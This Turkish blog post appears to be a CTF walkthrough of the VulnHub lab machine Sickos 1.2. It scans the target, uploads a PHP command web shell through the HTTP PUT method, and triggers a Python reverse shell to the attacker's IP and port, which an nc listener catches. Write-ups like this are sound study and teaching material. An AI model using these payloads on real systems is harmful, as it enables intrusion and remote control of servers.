Sickos 1.2 – Sızma Testi – CTF


Merhaba. Bugünkü konumuzda Sickos 1.2 makinesine sızmaya çalışacağız. Saldırgan makinemiz ise Kali Linux işletim sistemine sahip olacak. Siz farklı bir işletim sistemi de kullanabilirsiniz. Peki Sickos 1.2 nereden edineceğiz ona bakalım.

Link:

https://www.vulnhub.com/entry/sickos-12,144/

Siteye girdiğimizde üst veya alt kısımda bulunan “Download” kısmı ile indirme işlemini gerçekleştirebilirsiniz.

Kurulum kısmı çok basit olduğu için anlatmaya gerek duymuyorum. İndireceğiniz dosya “.ova” uzantılı bu yüzden VMware Workstation veya VirtualBox yazılımları ile bu indirdiğiniz dosyayı içe aktar demeniz yeterli. Daha sonra otomatik kurulum tamamlanacaktır.

Ağ ayarlarını da nat seçeneğine ayarladıktan sonra başka engel kalmıyor.

Şimdi iki makineyi de çalıştırarak hemen başlayalım.

İlk işlemimiz terminale;

netdiscover

Yazmak. Bu şekilde ağımızdaki sistemleri görebiliriz.

İşaretlediğim ip adresi dışındakiler Vmware Workstation yazılımının ağları. Bunları ben ezbere bildiğim için, işaretlediğim seçeneğin doğru olduğunu biliyorum. Sizler de ağları tek tek taratarak, doğru seçeneği bulabilirsiniz.

Şimdi bu ip adresini taratalım ve neler varmış bir görelim.

nmap 192.168.3.132

Burada çok basit bir ağ taraması yaptık ve karşımıza portlar çıktı. Burada dikkat çeken http portu. Yani karşımızda bir internet sitesi var. Hemen siteyi kontrol edelim.

Karşımıza bu fotoğraf çıktı. Bundan başka bir şey bulamadım. Herhangi bir buton vb bir şey yok. Bu yüzden diğer pathleri de bulmak için siteye dirb atmamız gerek.

dirb http://192.168.3.132

Sadece bir adet path buldu /test pathi. Hemen buraya ilerleyelim.

Burada sitedeki dosyaları görüntüleyen bir sayfa çıktı ancak burası da boş. Tek bir çare kalıyor o da shell denemek. Low shell ilk amacımız; çünkü bizim önceliğimiz makineye sızmak, sitede değişiklik yapmak değil.

Tabi shell atmamız için bu sayfada “PUT” metoduna izin verilmiş olması gerek. Bakalım hangi metodlara izin var.

curl -v -X OPTIONS http://192.168.3.132/test

Allow yani izin verilen kısmında metodlarımızı görüyoruz. Ve PUT metodunu da görüyoruz. Bu da demek oluyor ki karşı tarafa dosya atabileceğiz. Hemen shellimizi upload edelim.

Dirb attığımızda eğer fotoğrafa bir daha geri dönüp bakarsanız göreceksiniz. /index.php diye bir sayfa daha var. Burası bizi fotoğraflı olan yere götürüyor ancak bizim asıl gördüğümüz kısım bu değil. Eğer işin içinde php varsa sunucu yüksek ihtimalle bir Linux’dur. Bu yüzden ben php reverse python shell deneyeceğim.

Bunun için pentest monkey sitesini ziyaret ediyoruz.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Burada aşağı kısımda Python kodunu göreceksiniz.

Bu kod bloğundaki amaç benim bilgisayarım ile sunucu arasında bağlantı kurmak. Başlamadan önce kodda bazı değişiklikler yapmamız gerek.

s.connect(("10.0.0.1",1234));

Yazıyor. Burada kendi ip adresimizi ve bağlantı yapılacak portu yazmamız gerek. Kendi ip adresimizi görmek için terminale:

ifconfig

Yazmamız yeterli.

İşaretlediğim kısımda ip adresimiz görüntülenecek. Şimdi port kısmına ne yazacağımıza geldi sıra. Eğer karşımızda bir internet sitesi varsa 443 portu da açık demektir. Çünkü siteyi görüntüleyebiliyoruz. Bu açık olduğunun kanıtı. Son düzenlemeyle kodumuz şu şekilde olacak:

s.connect(("192.168.3.134",443));

Şimdi düzenlediğimiz shell bir not defterinde kayıtlı bir şekilde dursun ve biz gerekli işlemleri yapalım. İlk önce shellin çalışması için siteye bir php dosyası atacağım.

curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.3.132/test/shell.php

Burada shell.php dosyası oluşturmasını istedim ve bu dosyanın içerisine tek tırnak içinde yazan kodları yazmasını istedim. Bu kod satırında “cmd” adında bir değişken tanımladım. Bu değişkene vereceğimiz kodlar ile karşı tarafta çalıştırmayı deneyeceğim. Bakalım karşı tarafta böyle bir dosya oluştu mu ?

Evet dosya başarılı bir şekilde oluştu. Şimdi sıra not defterine kaydettiğimiz shell’i çalıştırmada. Hadi düzenlediğimiz kod bloğunu kopyalayalım ve gerekli işlemleri yapalım.

http://192.168.3.132/test/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.134",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Burada “/shell.php?cmd=” kısmına dikkat edelim. Yazım yanlışı olmasın. Bu kodu kullandığımız tarayıcının arama kısmına yazacağız. Çalıştırmadan önce portu dinlemeye alalım.

nc -lvp 443

Dinlemeye aldığımızda hiç bir tepki vermeyecek çünkü daha tarayıcıdaki kod bloğunu çalıştırmadık. Hadi artık çalıştırabiliriz.

Çalıştırdığımız da tarayıcı da bir şey değişmeyecek ancak tekrar terminale bakarsanız dinlemeye aldığınız porttan bir bağlantı oluştuğunu göreceksiniz.

Evet bağlantımızı oluşturduk. Şuanda sunucuya sızmayı başardık arkadaşlar. Ancak daha işimiz bitmedi. Diğer yazımızda yetki yükseltme ve dosyalara erişmeyi deneyeceğiz.

Kendinize iyi bakın esen kalın.

AK-48


Like it? Share with your friends!

Sickos 1.2 – Sızma Testi – CTF

Giriş Yap

Hoşgeldin
Don't have an account?
Kayıt Ol

Şifreni Yenile

Back to
Giriş Yap

Kayıt Ol

Ekimize Katılmaya Hazırmısın

Back to
Giriş Yap
Choose A Format
Personality quiz
Series of questions that intends to reveal something about the personality
Trivia quiz
Series of questions with right and wrong answers that intends to check knowledge
Poll
Voting to make decisions or determine opinions
Story
Formatted Text with Embeds and Visuals